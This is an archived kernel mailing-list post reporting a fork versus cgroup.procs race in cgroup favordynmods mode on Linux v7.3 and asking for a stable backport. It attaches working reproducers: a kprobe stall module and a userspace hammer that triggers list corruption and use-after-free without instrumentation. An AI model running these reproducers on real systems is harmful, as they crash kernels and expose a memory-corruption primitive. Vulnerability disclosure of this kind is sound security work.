From: 徐晗翔 <xuhx@hust.edu.cn>
To: tj@kernel.org, hannes@cmpxchg.org, mkoutny@suse.com
Cc: cgroups@vger.kernel.org, linux-kernel@vger.kernel.org,
stable@vger.kernel.org
Subject: cgroup: fork vs cgroup.procs write race in favordynmods mode -- v7.3 is affected; please make sure bf6fbf46b5ff reaches the stable trees (repro incl. uninstrumented natural hit)
Date: Tue, 3 Nov 2026 19:48:25 +0800 (GMT+08:00) [thread overview]
Message-ID: <3d753a39.1d66a.1a1a13d3452.Coremail.xuhx@hust.edu.cn> (raw)
In-Reply-To: <2026102727-data-sequel-ce41@gregkh>
[-- Attachment #1: Type: text/plain, Size: 4111 bytes --]
In the per-threadgroup-rwsem mode (CONFIG_CGROUP_FAVOR_DYNMODS or the
cgroup2 mount option favordynmods), v7.3 publishes a forked child's
PID before cgroup_post_fork() links it into its css_set
(fork.c:2572 vs cgroup.c:7085->928-929); a concurrent writer to the
destination cgroup's cgroup.procs can migrate the child inside that
window, double-linking task_struct::cg_list and corrupting css_set
accounting -- after the child exits, css_task_iter_advance() walks a
dangling pointer (use-after-free on the child's task_struct; after
SLUB reuse this is a write primitive in principle). This is fixed
upstream by bf6fbf46b5ff ("cgroup: serialize migrations of newly
forked processes", merged 2026-10-20, already tagged Cc: stable #
6.18+), which v7.3 predates. I am writing to support that backport
with reproduction evidence on a pristine 7.3 KASAN kernel: a
controlled window hits all three of the kernel's own WARN tripwires
(cgroup.c:2601 in cgroup_migrate_add_task, :7083 in
cgroup_post_fork, :915 in css_set_move_task) and produces 648
slab-use-after-free reports in css_task_iter_advance/_next (victim =
the child's 5896-byte task_struct, alloc copy_process, free
release_task); more importantly, a completely uninstrumented
userspace-only hammer (4 forker threads + 2 cgroup.procs writers,
preempt=full) hits the same three tripwires with identical offsets
within ~40 seconds and then takes a secondary NULL-deref in
css_set_move_task -- the race is naturally reachable by ordinary
userspace, with no KASAN required to notice (the WARNs fire on
stock kernels too). The migration succeeding is what corrupts;
even a later failed/rolled-back migration leaves the damage.
The detailed description:
* The window (v7.3)
fork(): the child's PID becomes visible (fork.c:2572 area) before
cgroup_post_fork() runs and does css_set_move_task/link into
cg_list (cgroup.c:7085 -> 928-929). In favordynmods mode nothing
serializes a cgroup.procs writer against this window (that is what
bf6fbf46b5ff adds). The writer's cgroup_migrate_add_task finds
the "published but unlinked" child (list_empty(cg_list) true --
WARN at :2601), links it to the destination; cgroup_post_fork then
links it again (WARN at :7083), and css_set_move_task takes its
from_cset==NULL branch (WARN at :915): cg_list is on two lists,
nr_tasks is double-counted. After the child exits and is reaped,
the destination's task list retains a dangling pointer that
css_task_iter walks (the UAF), and unrelated later migrations can
crash on the corrupted state (observed: NULL-deref at
css_set_move_task+0x8a).
* Evidence (pristine 7.3 KASAN; reproducer attached)
Controlled (r1stall.ko parks the forker at cgroup_post_fork's
entry -- the window's end boundary -- and hands the child PID to
userspace; r1poc writes it to dst/cgroup.procs inside the window):
WARNING: cgroup.c:2601 at cgroup_migrate_add_task (writer side)
... write ret=3, dst membership: YES (migration
completed inside the window)
WARNING: cgroup.c:7083 at cgroup_post_fork (forker side)
WARNING: cgroup.c:915 at css_set_move_task (double link)
... child exits ...
BUG: KASAN: slab-use-after-free in css_task_iter_advance+0xb8
(x648, css_task_iter_advance/_next family; victim task_struct,
alloc copy_process, free release_task)
Natural (NO module loaded, preempt=full, pure userspace): same
three WARNs with identical function+offset signatures at ~40 s
into the hammer (writer thread hits :2601, forker thread hits
:7083/:915 -- the interleaving itself captured), followed by
BUG: KASAN: null-ptr-deref in css_set_move_task+0x8a as a later
legitimate migration meets the corrupted state; the VM eventually
became unstable. Negative control (favordynmods active, normal
migration of a fully-linked child): zero warnings, zero KASAN.
Reproducers attached: r1stall.c (kprobe window module) and r1poc.c
(static userspace orchestrator with ctl/base/nat modes; the nat
mode needs no module at all).
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: r1stall.c --]
[-- Type: text/plain, Size: 6027 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* r1stall.c - controlled-window instrument for R1 (fork vs cgroup.procs
* migration race under the favordynmods per-threadgroup rwsem).
*
* Audited bug (R1, v7.3, fixed upstream by bf6fbf46b5ff):
* copy_process() publishes the child PID (attach_pid + tasklist_unlock,
* fork.c) BEFORE cgroup_post_fork() links the child into its css_set
* (css_set_move_task, cgroup.c:7085). With cgroup_enable_per_threadgroup_
* rwsem active, a cgroup.procs writer only takes the child's own fresh,
* uncontended per-threadgroup rwsem (cgroup_attach_lock PER_THREADGROUP),
* while the forker holds only the global read lock + the PARENT's per-tg
* read lock -- the two lock sets are disjoint, so the migration can run
* inside that window: cgroup_migrate_add_task() list_move_tail()s the
* still-orphan child->cg_list onto the source css_set's mg_tasks list,
* and cgroup_migrate_execute() relinks it into the destination css_set
* and rewrites child->cgroups. When the forker then runs
* cgroup_post_fork(), css_set_move_task(child, NULL, cset, false) takes
* the from_cset==NULL path, which SKIPS list_del_init and directly
* list_add_tail()s the already-linked node onto cset->tasks:
* double linkage of one cg_list node in two css_set lists.
*
* This module stalls the forking thread exactly inside that window by
* busy-waiting in a kprobe pre_handler at the ENTRY of cgroup_post_fork
* (the window's end boundary). This enlarges the natural window to an
* arbitrary controlled duration, following the established controlled-
* window methodology of this environment (see r4_stall.c precedent).
* It does not by itself prove natural hit rates; those are exercised by
* the r1poc natural-hammer mode.
*
* Hand-off protocol with userspace (r1poc):
* 1. userspace writes 1 to /sys/module/r1stall/parameters/arm
* 2. the NEXT user fork hits the probe: pre_handler claims the arm
* (atomic cmpxchg), records the child's pid where userspace can read
* it (child_pid), and spins (cpu_relax, IRQs on, preempt off) until
* userspace writes 1 to .../release or stall_ms elapses
* 3. userspace (a helper process, on another CPU) reads child_pid,
* performs the cgroup.procs migration of that pid, then releases
* 4. cgroup_post_fork() executes on the corrupted state
*
* Kernel-thread forks are passed through untouched (PF_KTHREAD check
* BEFORE claiming the arm) so stray kworkers cannot consume the stall.
*/
#define pr_fmt(fmt) "R1STALL: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/sched.h>
#include <linux/jiffies.h>
#include <linux/atomic.h>
static int child_pid;
static int stall_ms = 4000;
module_param(stall_ms, int, 0600);
MODULE_PARM_DESC(stall_ms, "safety cap on the stall duration (ms)");
static atomic_t armed = ATOMIC_INIT(0);
static atomic_t release = ATOMIC_INIT(0);
static atomic_t taken = ATOMIC_INIT(0);
static int arm_set(const char *val, const struct kernel_param *kp)
{
int v, ret;
ret = kstrtoint(val, 0, &v);
if (ret)
return ret;
if (v) {
/* fresh arming: clear leftover release and pid */
atomic_set(&release, 0);
WRITE_ONCE(child_pid, 0);
atomic_set(&armed, 1);
} else {
atomic_set(&armed, 0);
}
return 0;
}
static int arm_get(char *buffer, const struct kernel_param *kp)
{
return sprintf(buffer, "%d\n", atomic_read(&armed));
}
static const struct kernel_param_ops arm_ops = {
.set = arm_set,
.get = arm_get,
};
module_param_cb(arm, &arm_ops, NULL, 0600);
MODULE_PARM_DESC(arm, "write 1 to arm the stall for the next user fork");
static int release_set(const char *val, const struct kernel_param *kp)
{
int v, ret;
ret = kstrtoint(val, 0, &v);
if (ret)
return ret;
if (v)
atomic_set(&release, 1);
return 0;
}
static int release_get(char *buffer, const struct kernel_param *kp)
{
return sprintf(buffer, "%d\n", atomic_read(&release));
}
static const struct kernel_param_ops release_ops = {
.set = release_set,
.get = release_get,
};
module_param_cb(release, &release_ops, NULL, 0600);
MODULE_PARM_DESC(release, "write 1 to release a stalled forker");
module_param(child_pid, int, 0400);
MODULE_PARM_DESC(child_pid, "pid of the child belonging to the stalled fork (read by userspace)");
static int stall_pre(struct kprobe *p, struct pt_regs *regs)
{
struct task_struct *child = (struct task_struct *)regs->di;
unsigned long deadline;
int h;
/* pass through when idle */
if (!atomic_read(&armed))
return 0;
/* never stall kernel-thread forks (they are not migratable anyway) */
if (!child || (child->flags & PF_KTHREAD))
return 0;
/* single taker */
if (atomic_cmpxchg(&armed, 1, 0) != 1)
return 0;
h = atomic_inc_return(&taken);
WRITE_ONCE(child_pid, child->pid);
pr_warn("stall #%d: forker pid=%d comm=%s stalled at cgroup_post_fork entry, child=%d; waiting for release (cap %d ms)\n",
h, current->pid, current->comm, child->pid, stall_ms);
deadline = jiffies + msecs_to_jiffies(stall_ms);
while (!atomic_read_acquire(&release) && time_before(jiffies, deadline))
cpu_relax();
pr_warn("stall #%d released (child=%d, %s)\n", h, child->pid,
atomic_read(&release) ? "by user" : "by TIMEOUT");
atomic_set(&release, 0);
return 0;
}
static struct kprobe kp = {
.symbol_name = "cgroup_post_fork",
.pre_handler = stall_pre,
};
static int __init r1stall_init(void)
{
int ret;
ret = register_kprobe(&kp);
if (ret) {
pr_err("cannot register kprobe on cgroup_post_fork: %d\n", ret);
return ret;
}
pr_info("armed kprobe on cgroup_post_fork (%px); stall_ms=%d\n",
kp.addr, stall_ms);
return 0;
}
static void __exit r1stall_exit(void)
{
unregister_kprobe(&kp);
pr_info("removed, stalls taken=%d\n", atomic_read(&taken));
}
module_init(r1stall_init);
module_exit(r1stall_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("controlled-window kprobe stall for R1 (fork vs cgroup.procs favordynmods race) verification");
[-- Attachment #3: r1poc.c --]
[-- Type: text/plain, Size: 10564 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* r1poc.c - userspace choreography for the R1 (fork vs cgroup.procs
* favordynmods per-threadgroup rwsem race) verification.
*
* Modes:
* r1poc ctl <dst_cgroup_procs>
* Controlled-window run (requires /r1stall.ko loaded).
* - forks a helper BEFORE arming; helper spins on the module's
* child_pid parameter, migrates the stalled child by writing its
* pid to <dst_cgroup_procs>, verifies dst membership, releases
* - main arms the stall and forks the victim child; the fork is
* stalled inside cgroup_post_fork() while the helper migrates
* - afterwards the child exits and main hammers reads of the dst
* cgroup.procs / cgroup.tasks (css_task_iter walks the corrupted
* list -> KASAN use-after-free if the freed task is hit)
*
* r1poc nat <dst_cgroup_procs> <secs> <n_forkers> <n_writers>
* Natural hammer, no instrumentation: forkers fork+reap in a tight
* loop; writers predict the next pid via /proc/sys/kernel/ns_last_pid
* and hammer writes into <dst_cgroup_procs>. Races the natural window
* between attach_pid() publication and cgroup_post_fork() linking
* (widened by proc connector broadcast, CONFIG_PROC_EVENTS=y).
*
* r1poc base <dst_cgroup_procs>
* Negative baseline: migrate a fully-forked (properly linked) child
* and read the dst lists afterwards. Validates the plumbing; must
* NOT produce the cgroup WARNs or any KASAN report.
*
* All output is prefixed "R1POC:" for log harvesting.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <time.h>
#include <pthread.h>
#define P "/sys/module/r1stall/parameters/"
#define ARM_PATH P "arm"
#define RELEASE_PATH P "release"
#define CHILD_PID_PATH P "child_pid"
static void say(const char *fmt, ...)
{
va_list ap;
fputs("R1POC: ", stdout);
va_start(ap, fmt);
vprintf(fmt, ap);
va_end(ap);
fputc('\n', stdout);
fflush(stdout);
}
static int write_file(const char *path, const char *buf)
{
int fd = open(path, O_WRONLY);
int n = -1;
if (fd < 0)
return -1;
n = write(fd, buf, strlen(buf));
close(fd);
return n;
}
static int read_file(const char *path, char *buf, int len)
{
int fd = open(path, O_RDONLY);
int n = -1;
if (fd < 0)
return -1;
n = read(fd, buf, len - 1);
if (n >= 0)
buf[n] = '\0';
close(fd);
return n;
}
static int write_int(const char *path, int v)
{
char buf[32];
snprintf(buf, sizeof(buf), "%d", v);
return write_file(path, buf);
}
static int read_int(const char *path, int *out)
{
char buf[64];
int n = read_file(path, buf, sizeof(buf));
if (n <= 0)
return -1;
*out = atoi(buf);
return 0;
}
static void dump_first_line(const char *tag, const char *path)
{
char buf[4096];
int n = read_file(path, buf, sizeof(buf));
if (n <= 0) {
say("%s read(%s) failed errno=%d", tag, path, errno);
return;
}
buf[200] = '\0';
for (char *p = buf; *p; p++)
if (*p == '\n') { *p = '|'; }
say("%s %s -> %.200s", tag, path, buf);
}
/* ------------------------------------------------------------------ */
/* controlled mode */
/* ------------------------------------------------------------------ */
static void ctl_helper(const char *dst, int mypid)
{
char buf[64];
int pid = 0, i, n, fd;
char rb[4096];
for (i = 0; i < 800; i++) { /* up to ~8s */
if (read_int(CHILD_PID_PATH, &pid) == 0 && pid > 0)
break;
usleep(10000);
}
if (pid <= 0) {
say("helper(pid=%d): TIMEOUT waiting for child_pid, releasing", mypid);
write_int(RELEASE_PATH, 1);
_exit(9);
}
say("helper(pid=%d): saw child_pid=%d, migrating it now", mypid, pid);
n = snprintf(buf, sizeof(buf), "%d", pid);
fd = open(dst, O_WRONLY);
if (fd < 0) {
say("helper: open(%s) FAILED errno=%d", dst, errno);
write_int(RELEASE_PATH, 1);
_exit(10);
}
errno = 0;
n = write(fd, buf, n);
close(fd);
say("helper: write(pid=%d) to %s -> ret=%d errno=%d", pid, dst, n, errno);
/* migration effect readback: the stalled child must now be listed */
n = read_file(dst, rb, sizeof(rb));
if (n > 0) {
char want[32];
int found = 0;
snprintf(want, sizeof(want), "%d", pid);
/* crude token scan */
for (char *p = strtok(rb, " \t\n"); p; p = strtok(NULL, " \t\n"))
if (!strcmp(p, want))
found = 1;
say("helper: dst membership of pid=%d after migration: %s",
pid, found ? "YES (child now belongs to dst)" : "NO");
} else {
say("helper: dst readback failed errno=%d", errno);
}
say("helper: releasing stalled forker");
write_int(RELEASE_PATH, 1);
_exit(0);
}
static int ctl_mode(const char *dst)
{
pid_t helper, child;
int i, st;
say("CTL-MODE-START dst=%s", dst);
helper = fork();
if (helper == 0) {
ctl_helper(dst, getpid());
_exit(0); /* not reached */
}
usleep(200000); /* helper is up and spinning */
say("main: arming stall, then forking victim child");
if (write_int(ARM_PATH, 1) < 0) {
say("main: arm write FAILED errno=%d (module loaded?)", errno);
return 1;
}
child = fork(); /* stalls inside cgroup_post_fork */
if (child == 0) {
say("child(pid=%d): alive after cgroup_post_fork, exiting now", getpid());
fflush(stdout);
_exit(42);
}
say("main: fork returned child=%d (stall released)", child);
if (waitpid(child, &st, 0) < 0)
say("main: waitpid errno=%d", errno);
else
say("main: child reaped, exit status=%d", WEXITSTATUS(st));
kill(helper, SIGKILL);
waitpid(helper, &st, 0);
say("main: sleeping 3s (RCU GP + KASAN quarantine) then hammering dst list reads");
sleep(3);
for (i = 0; i < 100; i++) {
dump_first_line("walk", dst);
usleep(20000);
}
dump_first_line("walk", "/sys/fs/cgroup/cgroup.procs");
say("CTL-MODE-DONE");
return 0;
}
/* ------------------------------------------------------------------ */
/* baseline (negative control) */
/* ------------------------------------------------------------------ */
static int base_mode(const char *dst)
{
char buf[64], rb[4096];
pid_t child;
int n, fd, st, i, found;
char want[32];
say("BASE-MODE-START dst=%s (no arming, plain post-fork migration)", dst);
child = fork();
if (child == 0) {
sleep(1);
_exit(7);
}
usleep(100000); /* child fully forked & linked */
n = snprintf(buf, sizeof(buf), "%d", child);
fd = open(dst, O_WRONLY);
if (fd < 0) {
say("base: open(%s) FAILED errno=%d", dst, errno);
return 1;
}
errno = 0;
n = write(fd, buf, n);
close(fd);
say("base: write(pid=%d) ret=%d errno=%d", child, n, errno);
n = read_file(dst, rb, sizeof(rb));
found = 0;
snprintf(want, sizeof(want), "%d", child);
if (n > 0)
for (char *p = strtok(rb, " \t\n"); p; p = strtok(NULL, " \t\n"))
if (!strcmp(p, want))
found = 1;
say("base: dst membership of pid=%d: %s", child, found ? "YES" : "NO");
waitpid(child, &st, 0);
say("base: child reaped (%d), sleeping 2s then walking dst lists", WEXITSTATUS(st));
sleep(2);
for (i = 0; i < 20; i++) {
dump_first_line("walk", dst);
usleep(50000);
}
say("BASE-MODE-DONE");
return 0;
}
/* ------------------------------------------------------------------ */
/* natural hammer */
/* */
/* NOTE: /proc/sys/kernel/ns_last_pid needs CONFIG_CHECKPOINT_RESTORE */
/* which this kernel does not set; prediction is done cooperatively */
/* instead: forker threads publish the pid of the fork that just */
/* returned, writer threads hammer last_pid+1 / +2 (pids are */
/* sequential in this quiet VM, so the next fork's child is almost */
/* certainly one of those two numbers). */
/* ------------------------------------------------------------------ */
static volatile sig_atomic_t stop_flag;
static volatile long last_forked_pid;
static void onTerm(int sig) { stop_flag = 1; }
static void *nat_forker(void *arg)
{
(void)arg;
while (!stop_flag) {
pid_t c = fork();
if (c == 0)
_exit(0); /* immediate exit: highest pid churn */
if (c > 0) {
last_forked_pid = c;
waitpid(c, NULL, 0);
}
}
return NULL;
}
static void *nat_writer(void *arg)
{
char *dst = arg;
char b1[16], b2[16];
int n1, n2, fd;
fd = open(dst, O_WRONLY);
if (fd < 0)
return NULL;
while (!stop_flag) {
long t = last_forked_pid + 1;
/* hammer the two most likely next child pids; attempts
* before the child's attach_pid() fail fast with ESRCH,
* a success landing between attach_pid() publication and
* cgroup_post_fork() linking wins the race */
n1 = snprintf(b1, sizeof(b1), "%ld", t);
n2 = snprintf(b2, sizeof(b2), "%ld", t + 1);
write(fd, b1, n1);
write(fd, b2, n2);
}
close(fd);
return NULL;
}
static int nat_mode(const char *dst, int secs, int nf, int nw)
{
pthread_t ft[16], wt[16];
int i, r, w;
if (nf > 16) nf = 16;
if (nw > 16) nw = 16;
say("NAT-MODE-START dst=%s secs=%d fork_threads=%d writer_threads=%d",
dst, secs, nf, nw);
signal(SIGTERM, onTerm);
for (i = 0; i < nf; i++)
if ((r = pthread_create(&ft[i], NULL, nat_forker, NULL)) != 0)
say("NAT: forker thread %d create failed: %d", i, r);
for (i = 0; i < nw; i++)
if ((r = pthread_create(&wt[i], NULL, nat_writer, (void *)dst)) != 0)
say("NAT: writer thread %d create failed: %d", i, r);
for (i = 0; i < secs && !stop_flag; i++)
sleep(1);
say("NAT: hammer window over (last_forked_pid=%ld), joining", last_forked_pid);
stop_flag = 1;
for (i = 0; i < nf; i++)
pthread_join(ft[i], NULL);
for (i = 0; i < nw; i++)
pthread_join(wt[i], NULL);
w = 0;
say("NAT: sleeping 2s then walking dst lists");
sleep(2);
for (i = 0; i < 40 && !stop_flag; i++) {
dump_first_line("walk", dst);
usleep(50000);
}
say("NAT-MODE-DONE");
return w;
}
int main(int argc, char **argv)
{
if (argc < 3) {
say("usage: %s ctl|base|nat <dst_cgroup_procs> [secs nf nw]", argv[0]);
return 2;
}
setvbuf(stdout, NULL, _IONBF, 0);
if (!strcmp(argv[1], "ctl"))
return ctl_mode(argv[2]);
if (!strcmp(argv[1], "base"))
return base_mode(argv[2]);
if (!strcmp(argv[1], "nat")) {
int secs = argc > 3 ? atoi(argv[3]) : 30;
int nf = argc > 4 ? atoi(argv[4]) : 4;
int nw = argc > 5 ? atoi(argv[5]) : 4;
return nat_mode(argv[2], secs, nf, nw);
}
say("unknown mode %s", argv[1]);
return 2;
}
next prev parent reply other threads:[~2026-11-03 11:48 UTC|newest]
Thread overview: 10+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-27 12:35 usb: devio: usbdev_release() has no barrier against an in-flight async_completed() callback (use-after-free window on struct usb_dev_state)gregkh@linuxfoundation.org 徐晗翔
2026-10-27 14:12 ` Greg KH
2026-11-03 11:21 ` mm/slub: has_pcs_used() reads remote per-CPU sheaf state from flush_all_cpus_locked() without synchronization (data race; KCSAN blind spot: slub.o is uninstrumented) 徐晗翔
2026-11-03 11:30 ` futex/hrtimer: hrtimer_sleeper::task is read unsynchronized in 16 places on v7.3 -- the accessor series that fixes this is not in 7.3; please make sure it reaches the affected trees (backport nudge + stock-kernel KCSAN evidence) 徐晗翔
2026-11-03 11:48 ` 徐晗翔 [this message]
2026-11-03 14:51 ` cgroup: fork vs cgroup.procs write race in favordynmods mode -- v7.3 is affected; please make sure bf6fbf46b5ff reaches the stable trees (repro incl. uninstrumented natural hit) Sasha Levin
2026-11-03 11:57 ` net: rtnetlink: rtnl_link_unregister() vs in-flight RTM_GETLINK dump readers -- v7.3 lacks the synchronize_rcu() fix (Fixes: 6b57ff21a310 family); A/B reproduction on stock 7.3 徐晗翔
2026-11-03 15:49 ` Eric Dumazet
2026-11-03 12:07 ` wifi: wilc1000: SDIO/SPI remove destroys the srcu_struct before wiphy_unregister() -- late cfg80211 callbacks write through dangling srcu state (unfixed upstream; controlled + natural Oops) 徐晗翔
2026-11-03 12:10 ` gpio: gpiolib: final put of the gpio_device happens inside the SRCU read critical section on the setup-failure path -- deterministic use-after-free read at guard release (unfixed upstream) 徐晗翔
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=3d753a39.1d66a.1a1a13d3452.Coremail.xuhx@hust.edu.cn \
--to=xuhx@hust.edu.cn \
--cc=cgroups@vger.kernel.org \
--cc=hannes@cmpxchg.org \
--cc=linux-kernel@vger.kernel.org \
--cc=mkoutny@suse.com \
--cc=stable@vger.kernel.org \
--cc=tj@kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®